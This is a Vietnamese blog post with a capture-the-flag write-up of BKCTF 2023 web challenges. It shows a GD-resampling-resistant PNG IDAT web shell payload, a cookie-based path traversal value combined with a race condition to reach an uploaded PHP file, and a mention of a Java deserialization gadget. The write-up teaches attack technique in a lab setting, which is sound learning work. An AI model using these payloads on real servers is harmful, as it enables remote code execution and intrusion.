DEV Community

Mo0n Sha𝄞ow
Mo0n Sha𝄞ow

Posted on • Edited on

WRITE-UP BKCTF 2023

Image description

Mình newbie nên chỉ làm được một số challenge web basic của giải.
Image description

1. Image Copy Resampled
(Đề bài cung cấp sẵn cho người chơi source code)
Sau khi mở lên thì ta thấy đây là một chương trình cho phép người dùng upload file ảnh lên hệ thống. Tuy nhiên chương trình này sẽ "vẽ" lại ảnh với kích thước 40px.
Image description
Điều này là vô cùng thú vị, bởi vì thông thường một kẻ tấn công muốn giấu tin vào file ảnh hay giấu mã độc trong file sẽ thất bại bởi file được vẽ lại thường có các byte kí tự khác với file ban đầu. Do đó nó khá hiệu quả trong việc làm "sạch" một bức ảnh mà không làm mất đi nội dung của ảnh ban đầu!
Trở lại với đề bài, flag được đặt tên ngẫu nhiên nên khả năng cao ta phải tiến hành RCE để đọc được nó!
Image description
Theo như trong source code, chương trình chấp nhận các file có extension là 'jpg', 'png', 'php'.

$allowed_ext = array('jpg', 'png', 'php');
Enter fullscreen mode Exit fullscreen mode

Sau đó, chương trình sẽ sử dụng các hàm của thư viện php-gd để vẽ lại bức ảnh mới dựa trên ảnh ban đầu.

$image = imagecreatefromstring(file_get_contents($file_tmp));
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
Enter fullscreen mode Exit fullscreen mode

Do đó, nếu chúng ta chỉ upload file php chứa text payload thuần lên thì sẽ bị mất ngay

$image = imagecreatefromstring("<?php phpinfo(); ?>");
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
imagepng($cropped_image, "/tmp/img.png");
echo file_get_contents("/tmp/img.png");
Enter fullscreen mode Exit fullscreen mode

Output là

\x89PNG\r\n\x1A\n\x00\x00\x00\rIHDR\x00\x00\x00(\x00\x00\x00(\b\x02\x00\x00\x00\x03\x9C/:\x00\x00\x00\tpHYs\x00\x00\x0EÄ\x00\x00\x0EÄ\x01\x95+\x0E\x1B\x00\x00\x00\x1CIDATX\x85íÁ\x01\r\x00\x00\x00 ÷Om\x0E7 \x00\x00\x00\x00àß\x00\x12è\x00\x01¸v\x14\x19\x00\x00\x00\x00IEND®B`\x82
Enter fullscreen mode Exit fullscreen mode

...
Sau một hồi tìm kiếm thì mình cũng tìm được một số blog và tool giúp mình bypass qua filter này (https://github.com/huntergregal/PNG-IDAT-Payload-Generator)
Theo mình hiểu thì đây là việc lợi dụng các IDAT chunks. Các chunk này chứa giá trị các pixel chính của hình ảnh. Ta tiến hành viết payload vào các byte chính của hình ảnh với định dạng 40px. Do đó, khi chương trình vẽ lại ảnh sẽ không can thiệp vào các byte chính của ảnh nữa do ảnh đã đạt kích thước đúng như yêu cầu.
Ta tiến hành tải tool, sửa lại source của tool cho vẽ ảnh 40px và tiến hành chạy tool!

$ python3 generate.py -m php -o testzz.php
[+] PHP Method Selected. Using 'idontplaywithdarts' payload
[-] Payload String: b'<?=$_GET[0]($_POST[1]);?>'
[-] Payload: b'a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310'
[-] Generated Image testzz.php.png
[-] Verifying payload
[-] Payload OK
[+] Fin
Enter fullscreen mode Exit fullscreen mode

Tiến hành upload lên server
Image description
Tiến hành đọc flag
Image description
FLAG: BKSEC{Php_Gd_iDa7_cHunk_e9079d0d8a6052f029c251f3b7abf29c}

2. Textext
Giống như cách làm của bạn này https://hackmd.io/@devme4f/BJqaWika3, nhưng mình dùng BadAttributeValueExpException để trigger hàm toString.

3. Metadata checker
Đề bài cho source code...
Chương trình có tính năng hiển thị metadata của file.

Image description
Theo như source code, chương trình sẽ tiến hành upload file lên thư mục tạm của máy tính, tiến hành đọc metadata của file, in ra màn hình, sau đó xóa file đấy đi.

$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
$metadata = exif_read_data($target_file, 0, true);
sleep(1.5);
echo $metadata;
unlink($target_file);
Enter fullscreen mode Exit fullscreen mode

Có lẽ ta phải tiến hành RCE để có thể lấy được flag.
Do chương trình không giới hạn file extension nên ta có thể dễ dàng upload file *.php để có thể thực thi command. Tuy nhiên, các file upload dường như được upload vào folder /var/tmp/, không được public cho người dùng nên không truy cập được.
...
Ở đây ta để ý hơn một chút về cách đặt đường dẫn của file upload lên tạm thời

$timestamp = time();
$userValue = $_COOKIE['user'];
$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
Enter fullscreen mode Exit fullscreen mode

Biến $userValue ta có thể hoàn hoàn control được do $_COOKIE['user'] chính là giá trị trường header Cookie: user=<ABC> từ client gửi lên. Do đó, ta dễ dàng khai thác lỗi path traversal, chuyển directory về public folder qua trường cookie này để có thể dễ dàng truy cập được file mà mình vừa upload lên. Tuy nhiên, do file vừa upload lên sau 1.5 giây sẽ bị xóa đi nên ta phải kết hợp với việc race condition để truy cập vào file trước khi nó bị xóa. Ngoài ra, tên file cũng dễ dàng đoán được do biến $timestamp mang giá trị đến đơn vị là giây hiện tại thôi.
Ở đây thì có nhiều cách để race condition, hiệu quả nhất là viết script, nhưng do trong lúc thi thời gian có hạn nên mình chọn cách race bằng tính năng intruder của burp suite.
Mình sẽ đặt giá trị của cookie user../../var/www/html/assets/images/ và tên file upload lên là .php, do đó tên file thực sự sau khi upload lên chỉ là _$timestamp_.php.
Image description
Image description
Flag: BKSEC{Th!s_1s_just_the_st@rt_0f_the_r@ce_80b9094fada3bb51d7403b2db0d003a6}

Nam nhi vị liễu công danh trái,
Tu thính nhân gian thuyết Vũ Hầu.
(Phạm Ngũ Lão)

Top comments (0)